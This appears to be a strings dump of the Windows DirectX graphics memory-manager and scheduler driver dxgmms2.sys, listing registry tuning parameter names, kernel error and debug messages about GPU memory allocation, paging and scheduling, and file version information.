EvictTemporaryPeriod QuickApertureCorruptionCheck SegmentBalancingPolicy NbDmaBufferLimitPerDevice RemovePagesFromWorkingSetOnPagingForDwm PinDWMAllocationBackingStore PagesHistory DmaBufferBytesLimitAllDevices NbDmaBufferLimitCompareWatermark SegmentCleanupTime DirectFlipMemoryRequirement ExcessiveMemTransferPenalty PrivateHeapPackingThreshold NbPagingHistoryRecords EvictUnusedPeriod PinnedMemoryLimit EventThrottleThreshold PhysicalHeapLowestAddress SegmentCleanupCountThreshold DisablePrefetching SelfRefreshVramForceEvictionTimer PhysicalHeapSize MemTransferThreshold PhysicalHeapHighestAddress SegmentCleanupSizeThreshold GpuVaPagingHistoryMask GpuVaPagingHistorySize SelfRefreshMemoryEvictionThreshold MemoryComponentActiveThreshold WorkingSet.DefaultMaximumPercentile WorkingSet.DefaultMinimumPercentile SystemPartitionCommitLimitPercentage PinnedBackingStoreLimit MinimumSystemMemoryCommitLimit SecondaryPartitionCommitLimitPercentage SmallSystemMemorySize LeanRecycleHeapPackingThreshold RecycleHistorySize RecycleHistory MaximumDecommitDebounce DebouncedPageManagement RecycleHeapPTDBlockSize DebouncedUnlockAge ZeroedRecyclePages LeanRecycleHeapPTDBlockSize DebouncedDecommitAge RecycleHeapPackingThreshold RecycleHeapPackingBlockSize LeanRecycleHeapPackingBlockSize ZeroPageLockThreshold MaximumUnlockDebounce Unused.SelfTrimMinimumThreshold Unused.MinimumThreshold Unused.MaximumThreshold Unused.SelfTrimNormalThreshold Unused.EvictApertureOfferHighThreshold UnusedTrimmingPeriod Unused.EvictApertureOfferMaximumThreshold Unused.NormalThreshold Unused.SelfTrimLowThreshold Unused.SelfTrimMaximumThreshold Unused.EvictApertureOfferLowThreshold Unused.LowThreshold Unused.EvictApertureOfferNormalThreshold Unused.SelfTrimHighThreshold Unused.HighThreshold PagingQueueFenceIncrement LazyDecommitChunkSizeMB AlwaysDecommitOnOffer LargifyUpgradeThresholdPercent LargifyUpgradeThresholdBytes RestrictToPreferredSegment Use64KPages DxgMms2OfferReclaim BudgetThreshold ExpandTo64KBAllocationSizeThreshold Failed to secure ExistingMemory pointer:0x%I64x , returning 0x%I64x Can't allocate memory to hold IO work item. Couldn't allocate memory for aperture dummy rotation target page. Failed to allocate space for CpuHostAperture, NtStatus=0x%08X Driver dedicated too much system memory for video, system policy violated. Invalid VidPnSourceId:%u. Should be less than :%u NULL pointer in pVidSchProcess, returning 0x%I64x SupportedSegmentSet may not be empty, returning 0x%I64x MaxYieldInterval YieldPercentage NpuContextSwitchQuantum HwQueuePacketCap MaximumAllowedPreemptionDelay NumberOfDmaPacketPool FlipDoNotFlipMode QueuedPresentLimit AutoSyncToCPUPriority DebugLargeSmoothenedDuration EnablePreemption FrameServerAutoBoostPriority ForceFlipTrueImmediateMode HwSchThreadOffloadMode MinYieldInterval ContextSchedulingPenaltyDelay AdjustWorkerThreadPriority VSyncIdleTimeout HwQueuedRenderPacketGroupLimit CountPresentTowardHwLimit ForceEnableFlipFenceModel EnableDirectSubmission PfnCpuOverride CountFlipTowardHwLimit ForegroundPriorityBoost QuantumUnit PreemptionQuantumUnit MaxFocusGpuQuantumWithoutPresent AudioDgAutoBoostPriority NpuPreemptionQuantum PerSourceCustomDuration ProfileLevel BackgroundProcessMaximumAllowedPreemptionDelay CarryOverUsedQuantum HistoryLogSize Couldn't allocate buffer to query system memory size The list of pending GPU engine timeout interrupts is full on node %d. There must be severe contention on the scheduler spin lock. This interrupt will be ignored, and a preceding interrupt will reset the GPU engine Failed to initialize WIL feature staging, Status=0x%.8x Failed to initialize VidMm globals, Status=0x%.8x Failed to initialize VidSch globals, Status=0x%.8x Failed to initialize Triage Dump Data Array with status = 0x%I64x Failed to register Triage Dump Callback Failed to allocate buffer for Triage Dump Callback Cannot lock alloc 0x%p while offered. OfferState=%u Only the owner of a shared allocation can lock it. Failed to allocate memory for VIDMM_PROCESS::_pDxProcessPerAdapterCount. Failed to VIDMM_DMA_POOL::InitGlobals in InitGlobals, returning 0x%I64x Failed to VIDMM_PROCESS_FENCE_STORAGE::InitGlobalStorage in InitGlobals, returning 0x%I64x Failed to VidMmInitializeGlobalHeapManagerTracking in InitGlobals, returning 0x%I64x Failed to create RegisterGpuPerformanceCounterSetProcessMemory, returning 0x%I64x Failed to create RegisterGpuPerformanceCounterSetAdapterMemory, returning 0x%I64x Failed to create RegisterGpuPerformanceCounterSetLocalAdapterMemory, returning 0x%I64x Failed to create RegisterGpuPerformanceCounterSetNonLocalAdapterMemory, returning 0x%I64x Failed to DxgCreateLiveDumpWithWdLogs, error: 0x%I64x GpuMmuCaps.LeafPageTableSizeFor64KPagesInBytes must be multiple of 4 KB when dual PTE is supported. Page table size, specified by the driver, is invalid PageTableSegmentId, specified by the driver, is invalid _PageDirectorySegmentId specified by the driver is invalid PagingProcessPageTableSegmentId, specified by the driver, is invalid _PagingProcessPageDirectorySegmentId specified by the driver is invalid CachedPageTables can only be used with DXGK_PAGETABLEUPDATE_CPU_VIRTUAL update mode GpuMmu.PageTableIndexBitCount is invalid GpuMmu.PageTableUpdateMode is invalid The number of bits in page directory levels is inconsistent with virtual address bit count Invalid page table size VirtualAddressBitCount from the caps is different from computed using PageDirectoryIndexBitCount Failed to reserve GPU VA for hardware reserved range: 0x%I64 0x%I64 Total number of engine on logical adapter can't exceed %I64d Couldn't allocate VIDMM_PHYSICAL_ADAPTER array. Couldn't allocate VIDMM_PHYSICAL_ADAPTER. DMA remapping requires the driver to support the MapAperture2 paging buffer command Failed to create naming string for CreateGpuPerformanceCounterSetAdapterMemory luid_0x%08X_0x%08X_phys_%u Failed to create CreateGpuPerformanceCounterSetAdapterMemory Failed to allocate _VaPagingHistory Failed to allocate _PageMappingHistoryEntry Failed to allocate CVirtualAddressAllocator Failed to initialize CVirtualAddressAllocator for GpuVaIoMmuGlobal, _pGpuVaIoMmuAllocator=0x%p Failed to initialize hardware reserved ranges for GpuVaIoMmuGlobal. SysMmAdapter=0x%p Failed to start the worker thread Failed to initialize adapter info for partition. VidMmGlobal=0x%p, VidMmPartition=0x%p, Status=0x%.8x Couldn't allocate DMA pool for the paging device. Couldn't initialize the DMA pool for the paging device, NtStatus=0x%08X Couldn't allocate VIDMM_CROSSADAPTER_ALLOC. System device allocations are not supported yet. System context allocations are not supported yet. The caller specified a non-NULL context for a cross context allocation, return an error to catch logical errors in caller's code. Falied to map a virtual address range for the context allocation 0x%I64x. Failed to init context allocation 0x%I64x. Attempting to destroy a NULL context allocation. Invalid allocation type for the operation. 0x%p Invalid call to SetExistingSysMemStore Invalid allocation offset 0x%I64x 0x%I64x 0x%I64x Invalid call to VidMmSetExistingSysMemPages Failed to allocated ExistingSysMemGpaRanges Too many GPA range initializations CpuVisibleOnDemand flag set, but on this driver is supposed to be reserved. HardwareProtected allocations cannot be used with PermanentSysMem, Cached, CrossAdapter, CrossAdapterPrimary, Protected, ExistingSysMem, ExistingKernelSysMem. Drivers must support MapAperture2 to set the MapApertureCpuVisible flag. Specified preferred segment is invalid. It must be a subset of the supported read segment set. Can't create an allocation of zero size. LinkInstanced/MapApertureCpuVisible flag is not supported in WDDM v2.x/<2.9, respectively. VerifySupportedSegmentSetAndAdjustFlags failed. CpuVisibleOnDemand must also be set in combination with CpuVisible. PermanentSysMem, ExistingKernelSysMem, and ExistingSysMem cannot be used with CpuVisibleOnDemand. Specified eviction segment set is invalid as it contains memory segment. Can't use a segment requiring pitch alignment for paging. Need to specify the CpuVisible flags in combination with PermanentSysMem. Shareable, ManagedPrimary and Primary can't be specified in combination with PermanentSysMem. Cached allocations must only support aperture segments on adapters which do not have any cache coherent aperture segments. PermanentSysMem, Protected, ExistingKernelSysMem, or Primary flags can't be specified with Shareable. ShareBackingStoreWithKmd flag should be set only for shared aperture only allocations Cross adapter allocations must be shareable and support system memory only and SharedResource must be provided. PermanentSysMem, Overlay, Capture, or Primary flags can't be specified for context allocations. Protected flag must be specified with CddBitmap. CpuVisible, PermanentSysMem, Shareable, ExistingSysMem, ExistingKernelSysMem, ManagedPrimary or Primary flags can't be specified with Protected. PermanentSysMem, ExistingKernelSysMem, ManagedPrimary or Primary flags can't be specified with ExistingSysMem. PermanentSysMem, Shareable, ExistingSysMem, ManagedPrimary or Primary flags can't be specified with ExistingKernelSysMem. PermanentSysMem, Cached, ExistingSysMem, ExistingKernelSysMem and Primary flags can't be specified with ManagedPrimary. PermanentSysMem, Cached, ExistingSysMem, ExistingKernelSysMem and ManagedPrimary flags can't be specified with Primary. PagingBuffer can't be combined with any other flags. Paging buffer can only be allocated from an aperture segment. SectionSupplied should always be Shareable resource. SectionSupplied resource does not supply the section. History buffers must specify the CpuVisible flag. History buffer specifies invalid flag combination. Flags=%d Physically contiguous allocation specified on non-cross adapter allocation Cpu visible paravirtualized allocations cannot be places to aperture segment CPUVisible allocations must include an aperture segment in the supported segment set Couldn't allocate memory for allocation. Couldn't allocate memory for nonpaged VIDMM_GLOBAL_ALLOC data. Couldn't allocate flip fence state for allocation. Couldn't allocate displaying reference array for allocation. Overflow rounding allocation size (0x%08X) to next page boundary. Overflow rounding allocation pitch aligned size (0x%08X) to next page boundary. Can't create an allocation that uses more than 4GB-64kB of system memory. Overflow rounding allocation alignment (0x%08X) to next page boundary. Overflow adding alignment to allocation size, Size=%d, PitchAlignedSize=%d, SystemMemorySize=%d, alignment=%d Failed to allocate logical address range for global alloc 0x%.16I64x Failed to map a view of allocation (0x%p) section inside process 0x%p, NtStatus=0x%08X Couldn't allocate resources for allocation 0x%p, NtStatus=0x%08X. Specified supported segment set may not contain system segment, returning 0x%I64x Specified supported segment set may not add segments to shareable alloc, returning 0x%I64x Current preferred segment is invalid. It must be a subset of the supported segment set, returning 0x%I64x Failed to VerifyBudgetGroups, returning 0x%I64x May not remove AccessedPhysically on allocations that have AccessedPhysically enabled, returning 0x%I64x SetUnmoveable is not supported, returning 0x%I64x Query allocation residency failed or didn't return the expected scanned size Allocation 0x%p was marked as decommittable, but the caller did not provide a result output Reclaiming allocation 0x%p that has not been offered. Failed to recommit the backing store for local alloc %p during Reclaim Failed to recommit global alloc 0x%p backing store Expected either STATUS_SUCCESS or STATUS_GRAPHICS_INVALID_ALLOCATION_USAGE from Reset Couldn't allocate virtual address range to reset backing store. Invalid physical adapter index: 0x%I64x Invalid segment Id: 0x%I64x Failed to map HPA to GPA: 0x%I64x Driver must reference only a single, writeable history buffer. Alloc:%I64X, CurrentHistoryBuffer:%I64X, Writeable:%d DMA buffer 0x%p references an allocation 0x%p that is offered. Failed to reference DMA buffer: Allocation is not requested to be resident. Alloc=0x%p Driver should not specify an offer priority for allocation lists in WDDMv2. Alloc=0x%I64X, OfferPriority=%d Exception occurred accessing user mode allocation list, returning Status=0x%I64x VidMmDevice 0x%I64x Trying to reference a primaryallocation 0x%I64x belonging to VidMmDevice 0x%I64x Failing preparation since allocation has not been fully committed prior to being scheduled. Did user mode forget to schedule a sync packet? (Alloc: 0x%p) Failed to initialize paging process. Status=0x%.8x Failed to VerifyPreferredSegmentIsSubset while updating allocation properties. Failed to VerifyBudgetGroups while updating allocation properties. HardwareProtected allocations in aperture segments are not supported. HardwareProtected allocation size is greater than a supported segment VPR range size. HardwareProtected allocations are not supported in pitch aligned segments. History buffer can only be allocated from an aperture segment. Context allocations can only be used in combination with CpuVisible if the supported segment set contains exclusively aperture segment. Could not wait on fence array - scheduler submission of the CPU wait failed. Status = 0x%I64p Failed to touch allocation memory for address 0x%I64x failed with status 0x%I64x Allocation virtual address is zero Exception occured while trying to flush allocation from processor cache. Application should no longer use the SETFAULT command. Instead, use the new process/adapter verifier config Failed to map GPU virtual address on physical adapter: 0x%I64x VAD was destroyed before executing UncommitVirtualAddressRange command Alignment must be power of two SizeInBytes must be aligned to the leaf page table coverage size Failed to initialize paging process Failed to create scheduler system devices Failed to init DMA pools. Failed to create paging fence objects Failed to initialize paging process VA space. ntStatus=0x%.8x Failed to create scheduling logs. ntStatus=0x%.8x Written primary device 0x%p does not match context device 0x%p. Cached CPUVisible allocations must have an aperture segment in their supported segment set to be locked. CPUVisible allocations in !CPUVisible local memory segments must support an aperture segment while resident. CpuVisibleOnDemand allocations must be aperture only to lock. Trying to lock a protected allocation with a non-protected lock. Alloc=0x%p BeginCPUAcess() invalid flags specified: 0x%08X NoSync can only be specified on allocation supported in an aperture segment. NoSync can not be specified on allocations using software cache coherency Call to lock specified invalid or reserved flags. Flags:0x%x, Valid Flags:0x%x Failed to map a view of allocation (0x%p) section inside process 0x%p, Status=0x%08X Trying to unlock an allocation that is not locked. pAlloc=0x%I64p VidMmMapGpuVirtualAddress failed. Status: 0x%I64x Trying to update context allocation, which is not resident Failed to allocate virtual address range for context allocation Failed to allocate VIDMM_DEFERRED_UNLOCK Failed to send trim WNF to user mode, error 0x%I64x VidSchSubmitSignalToHwQueue failed VidSchSignalSyncObjectsFromGpu failed Failed to queue VidMmOpUpdateGpuVirtualAddress command EndAddressInBytes > MaxAllowedAddress VidSchWaitForSingleSyncObject failed Invalidate cache is called when there are only cache coherent segments Both pAlloc and pGlobalAlloc null in InvalidateCache pProcess is NULL when pAlloc is NULL in InvalidateCache unable to find local allocation in InvalidateCache Offset passed to InvalidateCache must not overflow the allocation. SizeInSegment=%I64d Length passed to InvalidateCache must not overflow the allocation. SizeInSegment=%I64d The allocation is not CPU visible VidMm Alloc 0x%p (Global Alloc 0x%p) is passed as a history buffer, but isn't one History buffer 0x%p not made resident. The residency count on history buffer (%d) must be at least 2 due to the OS reference. Failed to allocate section object for global backing store. GlobalAlloc=0x%I64x, Size=%I64u, Attr=0x%.8x, Status=0x%.8x Failed to map view of global backing store section to VMMEM process. GlobalAlloc=0x%I64x, Section=0x%I64x, Status=0x%.8x Failed to map a view of the shared allocation (0x%p) section inside process 0x%p, NtStatus=0x%08X Existing sysmem pointer must be paged aligned and a multiple of page in size. Exception occurred trying to use existing sysmem for allocation backing store. Trying to create an ExistingKernelSysMem allocation with a user mode address. Unable build MDL for unbacked shared alloc. Failed to open a system allocation for probe and lock transfer, GlobalAllocation=0x%p, Size=%d Failed to probe an allocation transfering to system, GlobalAllocation=0x%p, Size=%d, Status=0x%p Failed to probe and lock a new owner transfer, GlobalAllocation=0x%p, Size=%d, Status=0x%p UnblockUEFIFrameBufferRanges: NumUEFIFrameBufferRanges must be 1, but 0x%08X UnblockUEFIFrameBufferRanges: Invalid segment. PhysicalAdapterIndex = 0x%08X, DriverSegmentId = 0x%08X Failed to allocate physical block from MmAllocateContiguousMemorySpecifyCache Couldn't allocate memory for the physical pool manager. Failed to initialize the physical pool manager, NtStatus=0x%08X. Failed to signal FlipTo fence 0x%p value 0x%I64x Failed to signal FlipFrom fence 0x%p value 0x%I64x Failed to allocate VIDMM_GLOBAL_ALLOC_CROSSADAPTER_DATA !m_pMutex->IsOwner() FALSE bAllowAcquireRecursive || pPushLock == NULL || !m_pPushLock->IsExclusiveOwner() NULL == ReadPointerNoFence(&m_OwningThread) m_OwnerAcquireCount > 0 NULL == m_OwningThread 0 == m_OwnerAcquireCount GPU Non Local Adapter Memory GPU Local Adapter Memory GPU Adapter Memory GPU Process Memory Reach the maximum size for the DMA pools. Couldn't allocate memory for DMA buffer object. Couldn't create a global allocation for DMA the buffer. Couldn't allocate a contiguous buffer for the DMA buffer. Couldn't allocate memory for the DMA buffer allocation list. Couldn't allocate the private data for the DMA buffer. Couldn't allocate memory for the DMA pool AddRemove lock. Couldn't initialize the DMA pool AddRemove lock. Trying to resize DMA buffer to be smaller than starting size. Failed to map the allocation view to the user space. GlobalAlloc: 0x%I64x Status: 0x%I64x Fault Injection to fail creation of Allocation VA mapping. Failed to map the allocation view to the user space. UserModeOnly: 0x%I64x Status: 0x%I64x Failed to map the allocation view to the system space. Status: 0x%I64x Failed to map a view of allocation Couldn't probe and lock memory for transfer. NULL == _ProcessFenceStorage.GetVidMmProcess() NULL == _GuestPhysicalAddressContext NULL == _GuestPhysicalAddress Couldn't allocate global fence storage. _GuestPhysicalAddress Failed to allocate fence storage GPU mapping _pStorageVmProcess GetDxgProcess()->IsVmOrVmwpProcess() This adapter can't see all of available physical memory. Falling back to default driver. Couldn't allocate VIDMM_GLOBAL object. Couldn't initialize segment: NtStatus=0x%08X DemotionWithinDeviceEnabled DeviceSuspendPeriodMin DeviceSuspendPeriodMax DeviceResumePeriodMin DeviceResumePeriodMax PagingQueueProcessingPeriodTime EnablePromotion InitialPromotionInterval MaximumPromotionInterval PromotionTargetSizePerInterval PromotionNumberCapPerInterval TransferFlushThreshold EnableAsyncResidency ForceUncommitGpuVAOnEvict ForceSynchronousEvict BreakOnPagingFailure TemporaryResourcePolicy MaxLocalSegmentSize MaxNonLocalSegmentSize SelfRefreshVramForceEvictionTimerDC SelfRefreshVramForceEvictionTimerAC Supports64KBPages \MemoryManager User mode is trying to evict an allocation with a pending DMA reference. DmaReferences=%d Adapter couldn't be opened for the current process. Failed to initialize VIDMM_PHYSICAL_DEVICE VIDMM_ALLOC 0x%p with no residency references being evicted. pGlobalAlloc->AlwaysResident=%d VidMmDevice 0x%I64x: Failed to map VA for Device Default Paging Queue. Returned 0x%I64x Rejecting request to change VidMm worker thread state to %d. WORKER_THREAD: Unrecoverable page in failure. Device=0x%p, PagingQueuePacket=0x%p Worker thread must be in the running state in order to flush. CurrentStatus=%d. Couldn't allocate memory for adapter info. Couldn't allocate memory for commitment info. Failed to initialize CVirtualAddressAllocator Failed to create name string for GpuPerformanceCounterSetProcessMemory pid_%u_luid_0x%08X_0x%08X_phys_%u Failed to create GpuPerformanceCounterSetProcessMemory Failed to allocate space for paravirtualized allocation 0x%I64x Failed to allocate physical address range paravirtualized allocation 0x%I64x Failed to map VA space for paravirtualized allocation 0x%I64x Attempt to map a different protection to a range with unique driver protection. Start: 0x%I64x End: 0x%I64x Protection: 0x%I64x New protection: 0x%I64x BaseAddress must be aligned to the specified boundary Overflow when applying the guard page size Mapped VA range has inconsistent protection with VAD Failed to create a mapped VA range Failed to recommit a virtual address range. Status: 0x%I64x, Range: 0x%I64x - 0x%I64x, Gpu: 0x%I64x SysMmMapLogicalAddressRange failed: 0x%I64x LastPageIndex <= FirstPageIndex (%I64u < %I64u) LastPageIndex >= m_VirtualAddressSize (%I64u < %I64u) Cannot grow the root page directory of the paging process The driver returned invalid number of entries from DdiGetRootPageTableSize: 0x%I64x Failed to create page directory RecommitGpuVirtualAddresses failed. Status=0x%.8x Failed to allocate virtual addresss for page table Failed to commit virtual addresss for page table. Status=0x%.8x SysMmUnmapLogicalAddressRange failed: 0x%I64x UncommitVirtualAddressRange failed when it was not expected. Status=0x%.8x, ppFailedAlloc=0x%p Failed to allocated driver protection for PTE array Failed to create VidMm object for page directory. Status=0x%.8x Failed to initialize a page table. Status=0x%.8x Failed to initialize a page directory. Status=0x%.8x Failed to allocated DXGK_PTE_DATA array Failed to invalidate a page table. Status=0x%.8x LastPageIndex <= FirstPageIndex (0x%I64u < %I64u) Failed to create a page table Invalid alignment of start virtual address UpdatePageTableInvalidate failed. Status=0x%.8x Failed to create MDL to rotate CpuHostaperture range. Invalid _Config.PagingProcessVaSpaceBitCount Failed to initialize paging process VA space. Status=0x%.8x The paging process virtual address space size is too big: 0x%I64x Failed to allocate a range for the paging process VA space: 0x%I64x Failed to map page tables to the VA space of the paging process. pVaAllocator=0x%p Failed to map virtual address for paging buffer. pVaAllocator=0x%p, pDmaBuffer=0x%p Failed to commit virtual address range for paging buffer. pVaAllocator=0x%p, pFailedAlloc=0x%p Failed to recommit virtual address range for scheduling logs, ADAPTER_RENDER=0x%p, PhysicalAdapterIndex=%u Failed to initialize CVirtualAddressAllocator 0x%p. Status=0x%.8x pVidMmDevice->Init failed. Status=0x%.8x Failed to open adapter on Paging Process. Status=0x%.8x Failed to allocate memory needed for VA range management CheckUniqueGpuVaMapping failed \??\MemoryPartitionGraphics Failed to get partition information from NtManagedPartition. Status=0x%.8x Couldn't allocate memory for vidmmpartition. Failed to reference partition object, Status=0x%.8x Couldn't allocate memory for partition adapter info array. Failed to create naming string for CreateGpuPerformanceCounterSetLocalAdapterMemory luid_0x%08X_0x%08X_phys_%u_part_%u Failed to create naming string for Adapter Memory partitions Failed to create CreateGpuPerformanceCounterSetLocalAdapterMemory Failed to create CreateGpuPerformanceCounterSetNonLocalAdapterMemory Too many UEFI Frame Buffer Ranges specified in a segment. Maximum allowed is 1. Driver reported %d Only one segment can have UEFI Frame Buffer Ranges, driver reported at segment %d and %d Segment %u size (%I64u) must be page aligned Invalid flags specified for segment #%d. The Aperture and CpuVisible flags cannot be set when SupportsCpuHostAperture is set. pSegmentDescriptor #%d. PagingBufferSegmentId (%u) must be less than or equal to the segment count (%u) Couldn't allocate memory for segment #%d. Couldn't initialize sysmem segment, NtStatus=0x%08X. DXGKQAITYPE_QUERYSEGMENT4: Driver must provide at least one segment DXGKQAITYPE_QUERYSEGMENT4: Too many segments specified (%u). Maximum allowed is %u Failed to allocate memory for segment description array. NbSegment=%d Failed to query segment descriptors: NtStatus=0x%08X Failed to allocate segment array. VidMmGlobal=0x%I64x, PhysicalAdapterIndex=%u Failed to create naming string for local Adapter Memory Failed to allocate MDL to lock in CPU host aperture Failed to create MDL to rotate CpuHostAperture range. Failed to rotate VAD to CpuHostAperture. Status=%x Failed to map the allocation view to the user space. UserModeOnly: 0x%I64x Status: 0x%I64x Failed to map the allocation view to the system space. Status: 0x%I64x Exception raised while zeroing heap memory. Unable to map %llu bytes from offset %llu in block 0x%I64p - Status:0x%I64p Failed to LockUnlock MDL range in back path. Status = 0x%I64x Error freeing memory at VA 0x%I64p on recycle block 0x%I64p, Status = 0x%I64p in process 0x%I64p Couldn't allocate our range pool lookaside list Couldn't initialize our range pool lookaside list Couldn't initialize our extra range pool elements Couldn't allocate a history tracking structure for a process heap block Couldn't allocate the history arrays for a process heap block Couldn't allocate memory for the memory segment pool manager. Failed to initialize the pool manager for this segment, NtStatus=0x%08X. Failed to query Dirty Bit Tracking Segment Caps. NtStatus=0x%08X Invalid Page Size: %d Failed to allocate memory ranges, State=0x%08X, NtStatus=0x%08X. Failed to query 0x%08X. NtStatus=0x%08X Failed to validate memory ranges. State=0x%08X, NtStatus=0x%08X Failed to mark invalid memory ranges. State=0x%08X, NtStatus=0x%08X Failed to validate memory ranges. NtStatus=0x%08X Invalid memory block: Offset:0x%I64x Size:0x%I64x NtStatus=0x%08X Invalid bad memory block size: 0x%I64x NtStatus=0x%08X Couldn't allocate pages for segment's forward progress Mdl. Couldn't map the segment's forward progress Mdl in syspte region. Failed to allocate logical address for forward progress MDL. Couldn't allocate memory for segment pages history buffer Not all GPA range pages are initialized Failed to allocate MDL for pBackingStoreMdl LockChildPages failed: 0x%I64x Allocation ExistingSysMemGpadl is not set Size of Gpadl is less that the allocation size: 0x%I64x 0x%I64x VprAlignment must be power of two Invalid VprRangeOffset Invalid VprRangeSize VPR range size is not aligned properly VPR offset is not aligned properly NumVprSupported must be zero or one VPR reserve size specified with incompatible NumVprSupported Global allocation 0x%I64p lost content during move paging. No allocations detected in VPR during pending move Did not find an allocation during VPR lowest address check. Failed to restore contents of resource. Status=0x%.8x History buffer unexpectedly does not have a system MDL. Cannot provide system address for history buffer data. GlobalAlloc=0x%.16x Failed to allocate pool block for State: 0x%I64x, Start: 0x%I64x, Size: 0x%I64x Status: 0x%I64x Overflow incrementing counter. Couldn't allocate memory for VIDMM_PROCESS_HEAP_ALLOC structure. Couldn't allocate a backing section for a large allocation Failed VA mapping. Status = 0x%I64x Couldn't commit virtual memory Failed to commit reserved virtual address range from block. Couldn't allocate memory for VIDMM_LINEAR_POOL structure. Couldn't initialized pool for process heap block, Status = 0x%08X. Couldn't allocate memory for VIDMM_PROCESS_HEAP_BLOCK() structure. Failed creation of Allocation VA mapping. Status = 0x%I64x Unmapping allocation which hasn't been mapped Failed to allocate space for CpuHostAperture page trackers. Failed to allocate VIDMM_CPU_HOST_APERTURE_RANGE Failed to get system address for history buffer. GlobalAlloc=%I64X Failed to map allocation to the IOMMU. GlobalAlloc=0x%.16I64x, Status=0x%.8x Encountered a fault trying to copy the user VA into the guaranteed forward progress VA. Injecting failure preventing allocation to be locked down. Failed to probe and lock allocation range, GlobalAllocation=0x%p, Offset=%d, Size=%d Encountered a fault trying to copy to the user VA from the guaranteed forward progress VA. Couldn't allocate memory for aperture guard page. Couldn't map aperture guard page. Aperture guard page corruption found between 0x%p and 0x%p for segment 0x%p Aperture guard page corruption found at 0x%p for segment 0x%p Failed to initialize CPUHostAperture for segment. Status=0x%08X Exception occured while accessing allocation user mode page. Failed to set video protected region Failed to create MDL for rotation to frame buffer. Failed to reset allocations early enough. Exception occurred while accessing allocation (user mode page). Move paging failed in defrag commit, Status: 0x%I64p Unable to find a contiguous region in memory as a temporary location for displaying resource. pBaseAuxiliaryPresentInfo->size == sizeof(D3DKMT_FLIPMANAGER_AUXILIARYPRESENTINFO) Context queue is inconsistant The list of pending HW queue page faulted interrupts is full on node %d. There must be severe contention on the scheduler spin lock. This interrupt will be ignored. Dropping invalid VidPnTargetId for interrupt type DXGK_INTERRUPT_PERIODIC_MONITORED_FENCE_SIGNALED Dropping invalid NotificationID for interrupt type DXGK_INTERRUPT_PERIODIC_MONITORED_FENCE_SIGNALED New periodic monitored fence value %d is less than the last signaled value %d Failed to signal RuntimeFlipAwayFence 0x%p value 0x%I64x Hardware queue is inconsistant Failed to allocate non paged memory for history buffer data array Call to formatting DDI failed. Status=%d Driver returned invalid precision in formatting DDI. Precision=%d Driver reporting more timestamps than will fit in formatting buffer. NumTimestamps=%d, Precision=%d, BufferSize=%d Context running queue is inconsistant HwQueuedRenderPacketGroupLimitPerNode History log size value 0x%x is not a power of 2 Driver failed SetVidPnSourceAddress - cannot flip to DirectFlip resource Driver failed SetVidPnSourceAddress for unknown reason Failed to signal RuntimeFlipToFence 0x%p value 0x%I64x Failed to enable scanning from primary on source 0x%I64x of adapter 0x%I64x (status = 0x%I64x) m_PresentHistoryHead < D3DKMT_GETPRESENTHISTORY_MAXTOKENS m_PresentHistoryHead != m_PresentHistoryTail NULL pointer in pDxgAdapter, returning NULL. Failed to allocate memory for the node arrays Failed to allocate memory for paging contexts Failed to allocate memory for paging HW contexts Failed to allocate memory for paging HW queues Failed to allocate memory for VPR paging contexts VidSchGlobal 0x%I64x: Failed to initialize LiveDumpTaskLookasideList with Status = 0x%I64x VidSchGlobal 0x%I64x: Failed to initialize PhtDataLookasideList 0x%I64x. Status= failed to allocate VSyncSmoother. failed to allocate VSYNC DPC Log. Failed to allocate FlipQueuesHistory buffer for VidPnSourceId: 0x%I64x Couldn't allocate memory for IndependentFlipState. Creating node failed PageFaultDebugMode \Registry\Machine\System\CurrentControlSet\Control\GraphicsDrivers Creating system worker thread failed Creating paging device failed GlobalRealtimeSchedulingContext creation failed. Adapter:0x%I64x NodeDefaultContext %I64d creation failed. Adapter:0x%I64x Paging HW context %I64d creation failed. Adapter:0x%I64x Paging context %I64d creation failed. Adapter:0x%I64x VPR paging context %I64d creation failed. Adapter:0x%I64x Multiply overflow in node structure size. returning NULL NULL pointer in pVidSchProcess or piPriorityClass, returning 0x%I64x NULL pointer in pVidSchDevice or pVidSchFlushData, returning 0x%I64x UpdateWnfStateData failed in VidSchNotifyDeviceRemoved: 0x%x Invalid absolute priority:0x%I64x, returning 0x%I64x NULL pointer in pVidSchContext or piPriorityOffset, returning 0x%I64x Invalid VidPnSourceId (Check 3) NULL pointer in pVidSchContext or pVidSchSubmitCommandData, returning 0x%I64x NULL pointer in pVidSchContext or pCallBack, returning 0x%I64x Reserved fields should not be set, returning 0x%I64x Invalid VidPnSourceId:%u Cannot create vidschsyncobject without specifying either SyncObjectInfo and NativeFenceInfo, returning 0x%I64x CPUNotification.Event is not sharable, returning 0x%I64x Failed to allocate VIDSCH_SYNC_OBJECT_MAP_NODE for VIDSCH_SYNC_OBJECT:0x%I64x and UmdHandle:0x%I64x Invalid Flags value of 0x%I64x, only AllowFenceRewind is valid for signaling from CPU, returning 0x%I64x. ExAllocatePool for VIDSCH_PERIODIC_FRAME_NOTIFICATION_STORAGE failed, returning STATUS_NO_MEMORY. ExAllocatePool for ppPeriodicFrameNotificationStorageArray failed, returning STATUS_NO_MEMORY. ExAllocateTimer for VIDSCH_PERIODIC_FRAME_NOTIFICATION_STORAGE failed, returning STATUS_NO_MEMORY. Periodic monitored fence failed to destroy KMD notification, Status: 0x%I64x Periodic monitored fence failed to release VSync for VidPnSourceID:0x%I64x. Invalid params. pPlaneIndex:0x%I64x, pVidSchGlobal:0x%I64x Invalid VidPnSourceId:0x%I64x specified. MaxSources:0x%I64x Invalid PlaneIndex:0x%I64x specified. MaxOverlayPlanes:0x%I64x. GetSyncObjectType() == D3DDDI_PERIODIC_MONITORED_FENCE Failed to allocate memory for FlipQueueHistoryEntry's PlanePresentId The list of native fence signaled interrupts is full on node %d. There must be severe contention on the scheduler spin lock. This interrupt will be ignored, and a preceding interrupt will poll the wait conditions for this interrupt. ExAllocatePool for doorbell failed, returning 0x%I64x Failed to create RegisterGpuPerformanceCounterSetEngine, returning 0x%I64x GPU Engine NumLargeEventFailures SummaryCount NumBucketLimitReached NumAllocationFailures MaxEntriesFlushed MinEntriesFlushed MaxEntriesStored TotalEntriesFlushed NumFlushes TELASSERT Failed to create section for VidMm scheduler log, Status=0x%.8x Failed to allocate Mdl for VidMm scheduler log Failed to map view of section for VidMm scheduler log Failed to recommit virtual address range for scheduling log Failed to probe and lock pages for scheduler log VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription DirectX Graphics MMS FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName dxgmms2.sys LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename 